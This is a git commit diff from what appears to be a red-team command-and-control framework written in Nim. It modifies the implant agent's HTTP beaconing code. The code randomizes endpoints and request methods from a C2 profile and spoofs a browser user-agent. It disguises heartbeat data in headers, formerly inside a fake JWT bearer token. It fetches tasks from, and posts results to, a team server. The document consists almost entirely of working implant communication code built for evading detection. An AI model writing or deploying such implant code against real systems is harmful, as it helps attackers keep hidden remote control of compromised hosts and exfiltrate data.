Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.

This commit is contained in:
Jakob Friedl
2025-08-15 15:42:57 +02:00
parent 5a73c0f2f4
commit c7980d219d
19 changed files with 273 additions and 184 deletions

View File

@@ -1,25 +1,55 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../../common/[types, utils]
import ../../common/[types, utils, profile]
import sugar
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
var heartbeatString: string
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
of "base64":
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
of "none":
heartbeatString = Bytes.toString(heartbeat)
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
let payload = prefix & heartbeatString & suffix
# Define HTTP headers
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
let payload = encode(checkinData, safe = true).replace("=", "")
client.headers = newHttpHeaders({
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
})
# Add heartbeat packet to the request
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
of "header":
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
of "parameter":
discard
of "uri":
discard
of "body":
discard
else:
discard
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
client.headers.add(header, value.getStr())
# Define additional request parameters
var params = ""
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
params &= fmt"&{param}={value.getStr}"
params[0] = '?'
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
return responseBody
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
@@ -30,21 +60,26 @@ proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
return ""
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $data.len
})
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-post.agent.headers"):
client.headers.add(header, value.getStr())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST"))
let body = Bytes.toString(data)
try:
# Send post request to team server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
except CatchableError as err:
echo "[-] " & err.msg